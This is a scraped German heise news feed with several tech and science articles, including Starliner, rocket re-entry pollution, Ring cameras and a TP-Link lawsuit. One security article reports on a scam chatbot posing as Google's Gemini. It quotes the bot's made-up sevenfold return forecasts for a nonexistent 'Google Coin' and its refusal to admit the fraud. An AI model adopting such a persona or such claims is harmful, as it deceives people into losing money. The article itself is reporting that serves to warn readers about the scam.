Mit dem Starliner waren im Juni 2024 die NASA-Astronautin Suni Williams und ihr Kollege Barry Wilmore zur ISS geflogen. Wegen technischer Probleme konnte das Raumschiff sie dann aber nicht zurückfliegen und musste leer zur Erde zurückkehren. Stattdessen schickte die NASA im September 2024 dann nur zwei Raumfahrer mit einer Crew Dragon des Boeing-Konkurrenten SpaceX zur ISS. Zwei Plätze an Bord blieben frei für Williams und Wilmore. Anders als oft behauptet, waren die beiden dort nicht gestrandet, sondern arbeiteten bis zum planmäßigen Rückflug ihrer Raumkapsel. Nach seiner Amtsübernahme hatte US-Präsident Donald Trump das Geschehen zum Politikum gemacht und seinem Vorgänger vorgeworfen, die beiden auf der ISS im Stich gelassen zu haben.

Videos by heise

Williams und Wilmore sind dann im vergangenen März zur Erde zurückgekehrt, einen Monat vorher hatte die NASA eine unabhängige Untersuchung in die Wege geleitet. Deren mehr als 300 Seiten langen Abschlussbericht hat die US-Weltraumagentur nun veröffentlicht. In einem Interview hatte Wilmore schon im vorigen Frühjahr eingestanden, dass die Probleme massiver waren als bis dahin bekannt. Vor dem Andockversuch konnte er das Raumschiff demnach nicht mehr richtig kontrollieren. Das hat dann zwar geklappt, aber trotzdem hat die NASA zumindest öffentlich eine Weile nicht ausgeschlossen, dass die Raumkapsel mit den beiden zur Erde zurückfliegen wird.

Die Ermittlungen dauern an

In dem Untersuchungsbericht heißt es jetzt, dass „ein komplexes Zusammenspiel von Hardwarefehlern, Qualifikationslücken, Führungsfehlern und kulturellen Zusammenbrüchen“ zusammen für „ein inakzeptables Risiko für die Sicherheit der Besatzung“ gesorgt hätten. Die seien „nicht mit den Sicherheitsstandards der NASA für die bemannte Raumfahrt vereinbar“ gewesen. Die US-Weltraumagentur und Boeing würden weiterhin daran arbeiten, die technischen Ursachen der Probleme zu verstehen und die Herausforderungen gemeinsam zu lösen. Wie es mit dem Starliner-Programm weitergeht, ist unklar.

(mho)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Forscher finden Spuren von Raumfahrt in der Atmosphäre

2026-02-19T18:24:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Eine Lithiumwolke in 96 Kilometern Höhe bringt Forscher auf eine heiße Spur: Was bleibt eigentlich übrig, wenn Raketen in der Atmosphäre verglühen?

(Bild: SpaceX)

19.02.2026, 18:24 Uhr

Lesezeit: 4 Min.

Von

Was bleibt, wenn ein Teil einer Rakete im Weltraum verglüht? Forscher haben nachgewiesen, dass dabei tatsächlich messbare Spuren in der oberen Erdatmosphäre zurückbleiben. In einer Höhe von rund 96 Kilometern fanden sie eine deutlich erhöhte Menge an Lithiumatomen – etwa zehnmal mehr als normal. Gemessen wurde dies knapp 20 Stunden, nachdem eine Raketenstufe – also ein Teil einer Rakete – in die Atmosphäre eingetreten war. Eine natürliche Ursache konnten die Wissenschaftler ausschließen.

Die Studie einer internationalen Forschergruppe um Robin Wing vom Leibniz-Institut für Atmosphärenphysik in Kühlungsborn ist in der Fachzeitschrift Communications Earth & Environment erschienen.

Zehnfach erhöhte Werte in 96 Kilometern Höhe

Die Forscher warnen, dass die Auswirkungen zunehmender Raumfahrtaktivitäten auf die obere Atmosphäre bislang kaum verstanden sind. „Trotz der wichtigen Rolle, die die obere Erdatmosphäre beim Schutz des irdischen Lebens spielt, sind die Folgen der zunehmenden Verschmutzung durch wiedereintretende Weltraumtrümmer auf den Strahlungstransport, die Ozonchemie und die Aerosolmikrophysik weitgehend unbekannt“, schreiben die Studienautoren. Sie wollen zeigen, dass die verstärkten Raumfahrtaktivitäten Folgen für die obere Atmosphäre haben, die die Erde vor gefährlicher kosmischer Strahlung schützt.

Videos by heise

Hintergrund ist, dass immer mehr Satelliten und Raketen in den Orbit gebracht werden. Allein für das Satelliteninternet-Projekt Starlink des US-Raumfahrtkonzerns SpaceX befinden sich derzeit knapp 10.000 Satelliten im All. Langfristig sind mehr als 40.000 geplant.

Zufallsfund mit Signalwirkung

Die Messung gelang mit einer speziellen Laser-Methode namens Lidar. Das ist eine Art Laserscanning, mit dem sich Teilchen in der Atmosphäre dreidimensional erfassen lassen. Die Wissenschaftler entdeckten die Lithiumwolke eher zufällig während routinemäßiger Messungen. Sie beobachteten das Lithium in einer Höhe zwischen 94,5 und 96,8 Kilometern für 27 Minuten. Danach überprüften sie mit verschiedenen Mess- und Modellverfahren, ob das Lithium aus natürlichen Quellen stammen könnte.

Statt einer natürlichen Ursache weisen alle Spuren auf eine Raketenstufe einer Falcon-9-Rakete von SpaceX hin, die am 19. Februar 2025 in die Erdatmosphäre eintrat. „Das Ereignis erregte internationale Aufmerksamkeit, als Trümmerfragmente, darunter ein Treibstofftank, in der Nähe der polnischen Stadt Posen geborgen wurden“, heißt es in der Studie. Das gemessene Lithium stammt vor allem aus Lithium-Ionen-Batterien und Lithium-Aluminium-Legierungen für die Rumpfverkleidung.

Falcon 9 als Vorbote

Bisher seien vor allem die Risiken für Menschen und Infrastruktur durch herabfallende Trümmer diskutiert worden, merken die Studienautoren an. „Der Fall der Falcon 9 vom 19. Februar 2025 ist sowohl ein Vorbote des erwarteten Anstiegs der Anzahl von Satelliten- und Raketenwiedereintritten im kommenden Jahrzehnt als auch ein hervorragender Test für unsere Fähigkeit, die durch den Wiedereintritt künstlicher Satelliten verursachte Verschmutzung zu überwachen und zu erkennen.“

Lesen Sie auch

Starlink & Co.: Wachsende Menge an Weltraumschrott verändert bald die Atmosphäre

Starlink & Co.: Abstürzende Satelliten als große Gefahr für die Ozonschicht

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Bericht: USA haben Finanzierung von Technik für Internetfreiheit eingestellt

2026-02-19T17:16:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Mit mehr als 500 Millionen US-Dollar haben die USA laut einem Bericht in zehn Jahren IT-Projekte zum Schutz der Internetfreiheit unterstützt. Damit ist Schluss.

(Bild: Skorzewiak/Shutterstock.com)

19.02.2026, 17:16 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Die Vereinigten Staaten haben unter Donald Trump die Finanzierung unterschiedlicher Projekte gegen Internetzensur und Internetsperren beendet, was für einige das Ende bedeuten dürfte. Das berichtet der Guardian unter Berufung auf eigene Recherchen. Demnach geht es um ein Programm, das abseits der Augen der Öffentlichkeit innerhalb von zehn Jahren deutlich mehr als 500 Millionen US-Dollar an derartige Projekte verteilt hat, allein 2024 seien 94 Millionen US-Dollar geflossen. 2025 habe es zumindest über die Hauptvergabestelle kein Geld gegeben. Welche Projekte betroffen sind, schreibt der Guardian nicht. Für die meisten sei es zu riskant, zuzugeben, dass sie Geld von der US-Regierung bekommen. Als Beispiel nennt die Zeitung den Signal-Messenger und den Tor-Browser.

Hilfe gegen autoritäre Regime

Laut dem Bericht wurde das Programm vom US-Außenministerium und der United States Agency for Global Media durchgeführt, letztere ist den drastischen Sparmaßnahmen von DOGE zum Opfer gefallen. Einen konkreten Namen hatte es demnach nicht, man habe ganz allgemein von „Internet Freedom“ („Internetfreiheit“) gesprochen. Das Geld sei an kleine Gruppen überall auf der Welt geflossen, die an Technik gearbeitet haben, um staatliche Internetkontrollen zu umgehen. Der Guardian nennt als Beispiele Myanmar, China, die Philippinen und den Iran. In der Islamischen Republik hat das Regime gerade erst massive Demonstrationen niedergeschlagen und danach eine wochenlange Internetsperre verhängt, damit keine Informationen darüber nach außen dringen.

Videos by heise

Für die Betroffenen sei der Wegfall der finanziellen Unterstützung ein schwerer Schlag, zitiert der Guardian einen anonymen Experten: „Ich würde gerne in einer Welt leben, in der ein einzelnes US-Programm nicht so eine tragende Rolle spielt, aber das war es nun mal.“ Einige Projekte hätten mit Entlassungen reagiert, andere würden ohne Bezahlung weitermachen und darauf hoffen, dass künftig wieder Geld fließt. Aktuell würden alle einfach warten, hat demnach ein Aktivist aus dem Iran die Situation zusammengefasst. Teilweise gebe es jedoch die Hoffnung, dass künftig Geld aus Europa die Lücke füllen könnte, diesbezügliche Anträge seien gestellt. Noch sehe es aber danach aus, dass es für Regierungen leichter wird, das Internet zu blockieren.

Lesen Sie auch

Missing Link: Wieso so viel US- und Google-Geld in Open-Source-Projekten steckt

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

„Dark Galaxy“: Neu entdeckte Galaxie besteht zu 99 Prozent aus Dunkler Materie

2026-02-19T15:14:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Im 300 Millionen Lichtjahre entfernten Perseus-Galaxienhaufen wurde jetzt eine Galaxie entdeckt, die fast vollständig aus Dunkler Materie besteht.

107

CDG-2 auf einer Aufnahme des Weltraumteleskops Hubble, markiert sind die vier Kugelsternhaufen

(Bild: NASA, ESA, D. Li (Utoronto), Image Processing: J. DePasquale (STScI))

19.02.2026, 15:14 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Eine internationale Forschungsgruppe hat eine Galaxie entdeckt, die zwar mit der Helligkeit von etwa einer Million Sonnen leuchtet, aber zu 99 Prozent aus Dunkler Materie besteht. Bei CDG-2 (Candidate Dark Galaxy-2) dürfte es sich um eine der am stärksten von Dunkler Materie dominierten Galaxien handeln, die jemals entdeckt worden sei, erklärt das Team. Gefunden wurde sie ausschließlich dank ihrer vier Kugelsternhaufen, die möglicherweise ihre gesamte Population ausmachen. Allein die sind demnach für 16 Prozent der Leuchtkraft der gesamten Galaxie verantwortlich. Unsere Milchstraße hat dagegen mehr als 150 solcher kugelförmig zusammenstehenden Sterne. Normalerweise entdeckt man zuerst die Galaxie selbst und dann ihre Sternhaufen.

Kein Material für Sternentstehung

Nachdem die Kugelsternhaufen den entscheidenden Hinweis für das Vorhandensein der ungewöhnlichen Galaxie geliefert haben, hat die Forschungsgruppe mit den Weltraumteleskopen Hubble und Euclid sowie dem Subaru Telescope in Hawaii weitere Analysen vorgenommen. Damit habe man das „schwache, diffuse Leuchten“ entdeckt, das die Sternhaufen umgibt. Das habe man als „deutlichen Hinweis auf eine darunter liegende Galaxie“ gewertet. Die Untersuchungen hätten ergeben, dass ein Großteil jener Materie, aus der normalerweise Sterne entstehen, wohl durch Interaktionen mit anderen Galaxien herausgezogen worden sei. Dabei geht es vor allem um Wasserstoffgas. Übrig geblieben ist demnach das ungewöhnliche Objekt, das fast vollständig aus Dunkler Materie besteht.

Videos by heise

Dunkle Materie ist eine nicht experimentell beobachtete Form von Materie, die gemessene Bewegungen von Galaxien und Galaxienhaufen erklären soll. In der Wissenschaft geht man davon aus, dass es im Kosmos deutlich mehr Dunkle Materie als Standardmaterie gibt. Noch mehr entfällt demnach auf die nicht weniger rätselhafte Dunkle Energie. Auch wenn beide noch nicht beobachtet wurden, gelten die Theorien als akzeptiert, weil sie grundlegende Fragen beantworten. Trotzdem werden auch alternative Erklärungsversuche vorgebracht und es gibt astronomische Beobachtungen, die nicht zur Dunklen Materie passen wollen. Es wurden auch bereits Galaxien entdeckt, die größtenteils aus Dunkler Materie bestehen, CDG-2 gehört unter ihnen zu den größten. Vorgestellt wird die Entdeckung in The Astrophysical Journal Letters.

Lesen Sie auch

„Cloud-9“: Gescheiterte Zwerggalaxie aus Dunkler Materie und ohne Sterne

Rekordfund: Zwerggalaxie aus nur etwa 60 Sternen wohl voller Dunkler Materie

Keine sichtbaren Sterne: Astronomin entdeckt zufällig "dunkle Galaxie"

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Autonome Fahrzeuge: Bei unsicheren Sensordaten drückt KI aufs Bremspedal

2026-02-19T14:54:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Sind die Sensoren autonomer Fahrzeuge gestört, treffen ihre KI-Systeme Fehlentscheidungen. Wissenschaftler aus Magdeburg wollen eine Lösung gefunden haben.

(Bild: Jana Dünnhaupt/Uni Magdeburg)

19.02.2026, 14:54 Uhr

Lesezeit: 3 Min.

Von

Robin Ahrens

Autonom agierende Fahrzeuge bringen ein fundamentales Problem mit sich: Sie müssen ihre Umgebung nicht nur erfassen, sondern auch erkennen, wann ihre Sensoren keine zuverlässigen Ergebnisse mehr liefern können. Solche Situationen ergeben sich vor allem durch schlechte Witterungsbedingungen oder eingeschränkte Sichtverhältnisse: Nebel, Regen, Schneefall oder Straßenbewuchs stört die Sensorik von autonomen Fahrzeugen, woraufhin ihre KI-Systeme keine präzisen Entscheidungen mehr treffen können.

Wissenschaftler der Otto-von-Guericke-Universität Magdeburg haben deshalb ein KI-gestütztes Verfahren entwickelt, das eine unsichere Datenlage der Kamera- und Lidar-Sensoren erkennt und autonome Fahrzeuge im Zweifelsfall zum Anhalten bringt. Laut Christoph Steup, dem Leiter des Projekts, kombiniert die Methodik maschinelles Sehen mit maschineller Selbsteinschätzung. Die KI analysiert also nicht nur, was sie wahrnimmt, sondern auch, wie zuverlässig die zugrundeliegenden Daten sind. Sinkt die Qualität der Sensordaten unter einen gewissen Schwellenwert, reagiert das System automatisch.

Erfolgreiche Tests an autonomem Shuttle

Das vom Bund geförderte Forschungsprojekt AULA-KI versucht, gerade jene Schwelle der Vertrauenswürdigkeit von Daten technisch erfassbar zu machen. Die entwickelten Konzepte hat das Team der Uni Magdeburg dabei teilweise schon in Software umgesetzt und an einem autonomen Fahrzeug auf dem Galileo-Testfeld der Uni getestet. Der eingesetzte EasyMile EZ10 Shuttle ist mit 8 Lidar und zwei Kameras ausgestattet, es kann bis zu sechs Personen befördern.

Die Beeinträchtigungen der Sensorik des autonomen Shuttles durch Nebel, Regen und Schnee konnte das KI-basierte Verfahren im Testbetrieb sehr zuverlässig detektieren. Im Fall von gemäßigtem Regen- oder Schneefall war es ihm sogar möglich, die Störungen teilweise zu kompensieren.

Vollständig korrigiert werden konnten die Sensordaten aber nicht immer, insbesondere bei starkem Regen oder Schneefall. Ziel war dann, die KI-Systeme des autonomen Fahrzeugs dazu zu bringen, kontrolliert anzuhalten. Das gelang Steup zufolge ziemlich zuverlässig. „Das System war im Zweifel lieber zu vorsichtig als zu riskant“, sagt der Projektleiter. Entscheidend für die Sicherheit des autonomen Fahrens sei aber vor allem der vorgelagerte Schritt: Ein autonomes Fahrzeug muss erkennen, dass die Datengrundlage gestört ist, bevor es falsch reagiert.

Videos by heise

Forschung könnte gesellschaftlich relevant sein

Steup sieht eine hohe gesellschaftliche Relevanz der Forschungsergebnisse. Autonome Fahrzeuge würden nur dann gesellschaftlich akzeptiert, wenn sie auch unter schwierigen Bedingungen verlässlich und sicher blieben. Das an der Universität Magdeburg entwickelte Verfahren liefere dafür zentrale Bausteine.

Ob und wann das System in Serienfahrzeugen eingesetzt werden könnte, ist derzeit offen. Der Transfer in konkrete Anwendungen ist der Pressemitteilung der Universität Magdeburg zufolge aber ausdrückliches Ziel. Konkrete Pläne oder Produkte nennt die Universität bislang keine.

Lesen Sie auch

Manipulierte-Straßenschilder: Wenn das autonome Auto Fußgänger umfährt

Neue Waymo-Robotaxis Ojai besser für schlechtes Wetter geeignet

Waymo-Robotaxi fährt in der Nähe einer Grundschule ein Schulkind an

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Betrugsmasche: Falsche „Gemini“-Chatbots verkaufen falschen „Google Coin“

2026-02-19T14:51:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Eine neue Betrugsmasche beruht auf angepassten KI-Chatbots. Diese drängen Opfer dazu, wertlose Kryptowährungen zu kaufen.

(Bild: Wit Olszewski/Shutterstock.com)

19.02.2026, 14:51 Uhr

Lesezeit: 3 Min.

Security

Von

Dirk Knop

IT-Sicherheitsforscher haben eine neue Betrugsmasche entdeckt. Die Täter setzen dabei auf angepasste KI-Chatbots, die Opfer dazu drängen sollen, wertlose Kryptowährungen zu kaufen.

Das berichten die Analysten von Malwarebytes in einem Blog-Beitrag. Sie sind auf eine Webseite geraten, auf der ein „Google Coin“ im Vorverkauf angeboten wird. Optisch bedient sich die Webseite vertrauter Logos von OpenAI, Google, den Kryptobörsen Binance sowie Coinbase, Squarespace und sogar SpaceX. Die vermeintliche Kryptowährung nutzt das „G“ aus dem Google-Logo. Sie baut zudem eine gewisse Dringlichkeit auf, erklären die IT-Sicherheitsforscher. Außerdem ist auf der Seite ein KI-Chatbot eingebunden, der sich als Googles Gemini-KI ausgibt und dessen Icon an Gemini erinnert.

Auf der vermeintlichen Vorverkaufs-Webseite ist ein KI-Chatbot eingebunden, der die Aufmachung von Googles Gemini imitiert.

(Bild: Malwarebytes)

Der Chatbot führt Besucher durch ein aufpoliertes Verkaufsgespräch und beantwortet Fragen zur Investition und zu vermeintlichen Zinsgewinnen. Der Vorgang soll schließlich mit einer nicht rückabwickelbaren Überweisung von Kryptowährungen an die Betrüger enden. Als Köder dient zudem eine Bonus-Staffelung, die beim Kauf in größerem Umfang gewährt würde. Ab 100 Token gebe es einen Preisnachlass von fünf Prozent, ab 100.000 Token sogar 30 Prozent.

Google hat gar keine Kryptowährung

Google hat allerdings gar keine Kryptowährung aufgelegt. Da jedoch ein vermeintlicher „Google Coin“ bereits in früheren Betrugsmaschen aufgetaucht ist, könnte eine Suche zum Trugschluss führen, dass die Kryptowährung legitim wäre. Der Chatbot sei zudem sehr überzeugend gewesen. Er habe sich als „Gemini – dein KI-Assistent für die Google-Coin-Plattform“ ausgegeben.

Auf Fragen wie „Werde ich reich, wenn ich 100 Coins kaufe?“ habe der Chatbot mit konkreten Finanzprognosen geantwortet. Die Anlage von 395 US-Dollar im Vorverkauf wachse zum Zeitpunkt der Listung auf 2755 US-Dollar an, was einem Anstieg von „ungefähr 7x“ entspreche. Im Vorverkauf solle ein Token 3,95 US-Dollar kosten und zum Listing-Zeitpunkt dann 27,55 US-Dollar wert sein. Die Analysten führen aus, dass derartige persönliche und flexible Interaktion bislang einen menschlichen Betrüger am anderen Ende eines Telegram-Chats bedurfte. „Jetzt macht die KI das automatisch.“

Videos by heise

Die KI wurde gezielt auf eine bestimmte Persönlichkeit programmiert und blieb auch unter Druck in der vorgegebenen Rolle. Sie behauptete konsistent, der offizielle Helfer der vermeintlichen „Google-Coin-Plattform“ zu sein. Sie weigerte sich, jedwede überprüfbare Unternehmensdaten preiszugeben, wie registrierte juristische Person, Aufsichtsbehörde, Lizenznummer, Wirtschaftsprüfungsgesellschaft oder offizielle E-Mail-Adressen. Der Bot versuchte, Bedenken mit vagen Behauptungen zu Transparenz und Sicherheit zu zerstreuen. Er weigerte sich anzuerkennen, dass das Projekt ein Betrug sein könnte. Ganz ohne menschliche Begleiter funktioniert aber auch diese Betrugsmasche vermutlich nicht, da der Chatbot bei schwierigeren Fragen an einen ungenannten Manager weiterleitete – Malwarebytes verortet dahinter einen menschlichen Betrüger, der für derartige Fälle bereitsteht.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

„Kriminalität auf Null reduzieren“: Ring-Kameras sollten nie nur Hunde finden

2026-02-19T13:26:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

KI-gestützt sollen Ring-Kameras in der Nachbarschaft nach verlorenen Hunden suchen. Eine interne E-Mail scheint nun zu bestätigen, dass das nur der Anfang ist.

215

Ausschnitt aus der Super-Bowl-Werbung

(Bild: Amazon Ring)

19.02.2026, 13:26 Uhr

Lesezeit: 3 Min.

Von

Martin Holland

Die beim Super Bowl beworbene und danach heftig kritisierte Funktion „Search Party“ für Türkameras von Ring sollte tatsächlich nicht auf die KI-gestützte Suche nach verloren gegangenen Hunden beschränkt bleiben. Darauf weist eine E-Mail von Ring-Chef Jamie Siminoff hin, die das US-Technikmagazin 404 Media jetzt öffentlich gemacht hat. Schon Anfang Oktober hat der umstrittene Firmenchef darin geschrieben, mit Search Party – „zunächst für Hunde“ – schaffe die Firma die Grundlage für eine der wichtigsten Technologien, deren Wirkung deutlich darüber hinaus gehen werde: „Man kann sich jetzt eine Zukunft vorstellen, in der wir die Kriminalität in Nachbarschaften auf Null reduzieren können.“ Die Echtheit des Texts hat Ring bereits bestätigt.

„Geht definitiv nicht um Hunde“

Bei „Search Party“ (Englisch für „Suchtrupp“) können Hundebesitzer und -besitzerinnen ihre verloren gegangenen Haustiere melden und eine KI-gestützte Suche über alle Ring-Kameras in der Nachbarschaft veranlassen. Läuft das gesuchte Tier durch das Sichtfeld eines dieser Geräte, soll man automatisch darauf hingewiesen werden, um es zurückholen zu können. In den USA wurde die Werbung dafür von vielen Menschen als dystopisch bezeichnet. 404 Media hatte darauf verwiesen, dass es keine besondere Vorstellungskraft bräuchte, um sich vorzustellen, dass die Funktion „gegen mutmaßliche Straftäter, Einwanderer ohne Papiere oder Personen, die Anwohner als ‚verdächtig’ einstufen, eingesetzt werden könnte“. Genau das scheint Siminoffs schon vorher geschriebene E-Mail zu bestätigen.

Gegenüber The Verge hat Ring die Echtheit der E-Mail inzwischen bestätigt und erklärt, das Unternehmen würde sich darauf konzentrieren, den Besitzern und Besitzerinnen der Kamera „wichtige Informationen über kritische Ereignisse in ihrer Nachbarschaft“ zu liefern. Damit könnten diese entscheiden, ob und wie sie ihrer Gemeinschaft helfen. Als Beispiele hat sie demnach eben jene verlorenen Haustiere und „einen Brand in der Nähe“ genannt. Von Kriminalität ist in ihrer Antwort aber keine Rede. Stattdessen verweist sie noch auf die ebenfalls umstrittene Funktion „Community Request“, bei der Strafverfolgungsbehörden Aufnahmen aus einem bestimmten Gebiet einfordern können.

Videos by heise

Wegen solcher Kooperationen mit Strafverfolgungsbehörden stand Ring schon öfter in der Kritik. Die hängen eng mit der Person Jamie Siminoff zusammen, der Ring gegründet hat. Unter seiner Regie wurde der Polizei erstmals ermöglicht, einen direkten Zugriff auf Kameraaufnahmen zu bekommen. Während einer zweijährigen Abwesenheit Siminoffs wurde das zurückgefahren. Nach seiner Rückkehr im vergangenen Jahr folgte die Kehrtwende. Seit Einheiten der US-Bundesregierung aber anscheinend wahllos Menschen festnehmen und dafür auch auf moderne Überwachungstechnik zurückgreifen, hat sich die Stimmung in den USA gedreht. Ring wurde vor acht Jahren von Amazon übernommen und ist seitdem eine 100-prozentige Tochter des Onlinehändlers.

(mho)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Angeblich US-Wohnungen ausspioniert: Texas reicht Klage gegen TP-Link ein

2026-02-19T12:02:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

TP-Link steht in den USA wegen der Verbindungen nach China schon länger im Kreuzfeuer der Kritik. Nun zieht Texas mit drastischen Vorwürfen vor Gericht.

(Bild: Skrypnykov Dmytro / Shutterstock.com)

19.02.2026, 12:02 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Der US-Bundesstaat Texas hat eine Klage gegen TP-Link eingereicht und wirft dem Routerhersteller neben irreführender Werbung vor, der Kommunistischen Partei Chinas Zugriff auf Geräte in US-amerikanischen Wohnungen zu ermöglichen. Das hat Attorney General Ken Paxton öffentlich gemacht, der Republikaner befindet sich derzeit auch im Vorwahlkampf für einen Sitz im US-Senat. Die Klage sei nur die erste von mehreren, die „Unternehmen mit Verbindungen zu Chinas Kommunistischer Partei daran hindern soll, Texanern zu schaden“. Der Auftakt gegen TP-Link solle in China als klare Warnung verstanden werden. Dem Schritt gingen demnach Ermittlungen voraus, die im Oktober eingeleitet worden waren. TP-Link hat gegenüber Reuters versichert, seinen Ruf „energisch verteidigen” zu wollen. Die Behauptungen seien falsch.

TP-Link in den USA schon länger im Visier

Entgegen der Behauptungen von TP-Link zu Datenschutz und Sicherheit wurden die Produkte der Firma „von staatlich geförderten Hacking-Organisationen der Volksrepublik China genutzt, um Cyberangriffe auf die USA“ durchzuführen, behauptet Paxton. Über die Eigentümer und die Lieferkette gebe es Verbindungen nach China, deshalb unterliege die Firma den Gesetzen der Volksrepublik. Deshalb sei der Hersteller verpflichtet, Daten von US-Bürgern weiterzugeben. Weil fast alle Teile der Router aus dem Land importiert würden, sei die Täuschung des Unternehmens darüber „nicht nur illegal, sondern auch eine Gefahr für die nationale Sicherheit“. Immerhin würde darüber die heimliche Überwachung von Menschen in Texas ermöglicht. Die Klageschrift kann online eingesehen werden.

Videos by heise

TP-Link wurde vor drei Jahrzehnten in China gegründet, später aber aufgeteilt. Obwohl der Konzern seitdem aus einem US-amerikanischen und einem chinesischen Teil besteht, macht der mit Sitz in Kalifornien noch immer einen substanziellen Teil seines Geschäfts in China. Die Router von TP-Link gehören zu den am weitesten verbreiteten in den USA, über den genauen Marktanteil herrscht aber Unklarheit. Anfang des Jahres hat das US-Justizministerium Ermittlungen eingeleitet, um herauszufinden, ob TP-Link die Konkurrenz gezielt mit Kampfpreisen unterboten hat, um sich Marktanteile zu sichern und die Preise anheben zu können, wenn andere Hersteller aus dem Markt gedrängt wurden. Wegen angeblicher Sicherheitsgefahr drohte den Routern ein US-Verkaufsverbot, das ist aber vorerst vom Tisch.

Lesen Sie auch

Verbindungen nach China: TP-Link wirft Netgear Verleumdungskampagne vor

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Neuer Konflikt: USA will europäische Plattformgesetze aushebeln

2026-02-19T11:56:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

In der US-Regierung wird laut einem Medienbericht ein Portal vorbereitet, mit dem EU-Bürger Sperren umgehen können. Damit droht ein neuer Konflikt.

552

Auf der Ankündigungsseite von freedom.gov macht die US-Administration keinen Hehl daraus, welchem Zweck das Portal dienen soll.

(Bild: heise medien)

19.02.2026, 11:56 Uhr

Lesezeit: 3 Min.

Von

Malte Kirchner

Zwischen den USA und Europa kündigt sich der nächste mögliche Konflikt an: Mit einem Portal namens freedom.gov plant die Trump-Administration laut einem Bericht der US-Nachrichtenagentur Reuters eine Möglichkeit für Europäer zu schaffen, Zugang zu Inhalten zu erlangen, die in ihren Heimatländern gesperrt sind. Hierzu zählen Beiträge, die als Hassrede oder Terrorpropaganda eingestuft wurden.

Gegenwärtig ist beim Aufruf von freedom.gov eine Ankündigungsseite zu sehen. Unter der Überschrift „Freedom is Coming“, wobei der Freiheitsbegriff gepixelt ist und sich mit dem Mauszeiger schärfen lässt, steht in deutscher Sprache geschrieben: „Information ist Macht. Beanspruche dein Menschenrecht auf freie Meinungsäußerung. Macht euch bereit.“ Je nach Land des Aufrufs werden lokalisierte Sprachfassungen der Ankündigung angezeigt.

Technisch ein VPN, aber von offizieller Stelle

Technisch soll das, was die US-Regierung plant, nichts sein, was es nicht schon gibt: Laut Reuters ist eine VPN-Funktion vorgesehen, die den Nutzerdatenverkehr als US-amerikanisch erscheinen lässt. Zudem soll es keine Aktivitätsverfolgung geben. Ähnliches bieten verschiedene VPN-Anbieter längst an. Neu wäre, dass eine Regierung – obendrein eine, die auf vielfache Weise mit EU-Staaten verbündet ist – offen die lokalen Gesetze untergräbt und Bürger zum Rechtsbruch anstiftet.

Videos by heise

Offenbar ist das Vorhaben auch in den USA nicht unumstritten: Anwälte des US-Außenministeriums hätten Einwände erhoben, schreibt Reuters. Die Behörde selbst dementiert das. Laut Bericht war der Start bereits während der Münchner Sicherheitskonferenz geplant, wurde aber verschoben. Eine offizielle Begründung gibt es nicht. Staatssekretärin Sarah Rogers leitet das Projekt.

Ärger über EU-Plattformregulierung

Die Trump-Regierung hat in der Vergangenheit keinen Hehl daraus gemacht, dass sie EU-Gesetzgebungen wie den Digital Services Act (DSA) und in der Folge auch nationale Gesetze wie das deutsche NetzDG für übergriffig hält. In den USA wird das Grundrecht der freien Rede weiter ausgelegt als in Europa. Die Trump-Regierung kritisiert die EU-Plattformregulierung als Zensur konservativer Stimmen. Ein Anlass war dabei, dass das soziale Netzwerk X im Dezember mit 120-Millionen-Euro-Strafe belegt wurde. X-Besitzer Elon Musk forderte gar die Abschaffung der EU.

Das aktuelle Projekt der US-Regierung steht im Widerspruch zur Streichung von Fördergeldern für gemeinnützige Digitalprojekte wie Let’s Encrypt und Tor. Die Zertifizierungsstelle und das Anonymisierungsnetzwerk waren durch die US Agency for Global Media (USAGM) unterstützt worden, bis US-Präsident Donald Trump dies per Dekret stoppte.

(mki)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Windows-Insider-Vorschau: Native Sysmon-Integration nähert sich dem Release

2026-02-19T10:37:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Neue Windows-Insider-Vorschauversionen bringen den nativen Sysmon-Support näher ans Release. Außerdem gibt es kleinere Verbesserungen.

(Bild: heise online / dmk)

19.02.2026, 10:37 Uhr

Lesezeit: 2 Min.

Von

Dirk Knop

Die aktuellen Vorschau-Versionen für Teilnehmer an Windows-Insider-Kanälen bringen zahlreiche kleinere Verbesserungen mit. Außerdem rückt die native Sysmon-Unterstützung deutlich weiter Richtung Release vor.

